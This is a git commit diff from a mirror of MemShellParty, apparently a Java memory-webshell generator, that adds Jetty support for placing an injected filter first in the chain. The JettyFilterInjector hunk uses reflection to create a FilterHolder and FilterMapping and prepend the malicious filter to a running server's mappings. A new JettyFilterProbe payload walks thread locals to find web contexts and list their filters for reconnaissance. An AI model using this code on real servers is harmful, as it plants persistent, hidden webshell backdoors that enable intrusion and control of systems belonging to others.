mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support addFilterFirst for jetty
This commit is contained in:
+30
-47
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
@@ -86,68 +84,53 @@ public class JettyFilterInjector {
|
||||
return;
|
||||
}
|
||||
|
||||
String[] classNames = new String[]{
|
||||
"org.eclipse.jetty.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
||||
"org.mortbay.jetty.servlet.FilterHolder",
|
||||
String[][] filterHolderClassNames = new String[][]{
|
||||
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
|
||||
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
|
||||
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
|
||||
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
|
||||
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
|
||||
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
|
||||
};
|
||||
|
||||
Class<?> filterHolderClass = null;
|
||||
Class<?> filterMappingClass = null;
|
||||
|
||||
for (String className : classNames) {
|
||||
for (String[] classNames : filterHolderClassNames) {
|
||||
try {
|
||||
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
||||
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
|
||||
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
if (filterHolderClass == null) {
|
||||
throw new ClassNotFoundException("FilterHodler");
|
||||
if (filterHolderClass == null || filterMappingClass == null) {
|
||||
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
|
||||
}
|
||||
|
||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||
moveFilterToFirst(servletHandler);
|
||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||
}
|
||||
|
||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
||||
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
||||
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
|
||||
int filterLength;
|
||||
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
|
||||
|
||||
if (filterMaps.getClass().isArray()) {
|
||||
filterLength = Array.getLength(filterMaps);
|
||||
for (int i = 0; i < filterLength; i++) {
|
||||
Object filter = Array.get(filterMaps, i);
|
||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||
if (filterName.equals(getClassName())) {
|
||||
reorderedFilters.add(0, filter);
|
||||
} else {
|
||||
reorderedFilters.add(filter);
|
||||
}
|
||||
}
|
||||
for (int i = 0; i < filterLength; i++) {
|
||||
Array.set(filterMaps, i, reorderedFilters.get(i));
|
||||
}
|
||||
} else if (filterMaps instanceof ArrayList) {
|
||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
||||
for (Object filter : filterList) {
|
||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||
if (filterName.equals(getClassName())) {
|
||||
reorderedFilters.add(0, filter);
|
||||
} else {
|
||||
reorderedFilters.add(filter);
|
||||
}
|
||||
}
|
||||
filterList.clear();
|
||||
filterList.addAll(reorderedFilters);
|
||||
Object filterMapping = filterMappingClass.getConstructor().newInstance();
|
||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
|
||||
|
||||
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||
Object[] newMappings = null;
|
||||
int length = Array.getLength(mappings);
|
||||
if (mappings == null || length == 0) {
|
||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||
} else {
|
||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||
}
|
||||
newMappings[0] = filterMapping;
|
||||
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
@@ -8,8 +8,14 @@ public enum ProbeContent {
|
||||
Server,
|
||||
OS,
|
||||
JDK,
|
||||
// 字节码执行
|
||||
Bytecode,
|
||||
// 命令执行
|
||||
Command,
|
||||
// 基础信息
|
||||
BasicInfo,
|
||||
ScriptEngine
|
||||
// 脚本引擎执行
|
||||
ScriptEngine,
|
||||
// Filter 配置
|
||||
Filter
|
||||
}
|
||||
|
||||
+241
@@ -0,0 +1,241 @@
|
||||
package com.reajason.javaweb.probe.payload.filter;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JettyFilterProbe {
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
String msg = "";
|
||||
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found\n";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
String contextRoot = getContextRoot(context);
|
||||
List<Map<String, String>> filters = collectFiltersData(context);
|
||||
allFiltersData.put(contextRoot, filters);
|
||||
}
|
||||
msg += formatFiltersData(allFiltersData);
|
||||
}
|
||||
return msg;
|
||||
}
|
||||
|
||||
private List<Map<String, String>> collectFiltersData(Object context) {
|
||||
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||
try {
|
||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||
if (servletHandler == null) return Collections.emptyList();
|
||||
Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||
Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters");
|
||||
if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList();
|
||||
for (Object mapping : filterMappings) {
|
||||
String name = (String) invokeMethod(mapping, "getFilterName");
|
||||
if (name == null) continue;
|
||||
if (!aggregatedData.containsKey(name)) {
|
||||
String filterClass = "N/A";
|
||||
if (filterHolders != null) {
|
||||
for (Object holder : filterHolders) {
|
||||
String holderName = (String) invokeMethod(holder, "getName");
|
||||
if (!name.equals(holderName)) continue;
|
||||
String cls = (String) invokeMethod(holder, "getClassName");
|
||||
if (cls == null) {
|
||||
Object filterInstance = invokeMethod(holder, "getFilter");
|
||||
if (filterInstance != null) {
|
||||
cls = filterInstance.getClass().getName();
|
||||
}
|
||||
}
|
||||
|
||||
if (cls != null) filterClass = cls;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Map<String, Object> info = new HashMap<>();
|
||||
info.put("filterName", name);
|
||||
info.put("filterClass", filterClass);
|
||||
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||
aggregatedData.put(name, info);
|
||||
}
|
||||
Map<String, Object> info = aggregatedData.get(name);
|
||||
String[] pathSpecs = null;
|
||||
try {
|
||||
pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
if (pathSpecs != null) {
|
||||
((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs));
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
List<Map<String, String>> result = new ArrayList<>();
|
||||
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||
Map<String, String> finalInfo = new HashMap<>();
|
||||
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||
|
||||
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||
|
||||
result.add(finalInfo);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||
StringBuilder output = new StringBuilder();
|
||||
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||
String context = entry.getKey();
|
||||
List<Map<String, String>> filters = entry.getValue();
|
||||
output.append("Context: ").append(context).append("\n");
|
||||
if (filters.isEmpty()) {
|
||||
output.append("No filters found\n");
|
||||
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||
output.append(filters.get(0).get("error")).append("\n");
|
||||
} else {
|
||||
for (Map<String, String> info : filters) {
|
||||
appendIfPresent(output, "", info.get("filterName"), "");
|
||||
appendIfPresent(output, " -> ", info.get("filterClass"), "");
|
||||
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
|
||||
output.append("\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
return output.toString();
|
||||
}
|
||||
|
||||
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
|
||||
if (value != null && !value.isEmpty()) {
|
||||
sb.append(prefix).append(value).append(suffix);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.webapp.WebAppContext
|
||||
* org.eclipse.jetty.webapp.WebAppContext
|
||||
* org.eclipse.jetty.ee8.webapp.WebAppContext
|
||||
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
||||
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
// jetty 6
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
} else {
|
||||
// jetty 7+
|
||||
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||
for (int i = 0; i < Array.getLength(table); i++) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object threadLocalValue = getFieldValue(entry, "value");
|
||||
if (threadLocalValue != null) {
|
||||
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
|
||||
contexts.add(getFieldValue(threadLocalValue, "this$0"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) {
|
||||
Class<?>[] paramClazz = null;
|
||||
Object[] param = null;
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user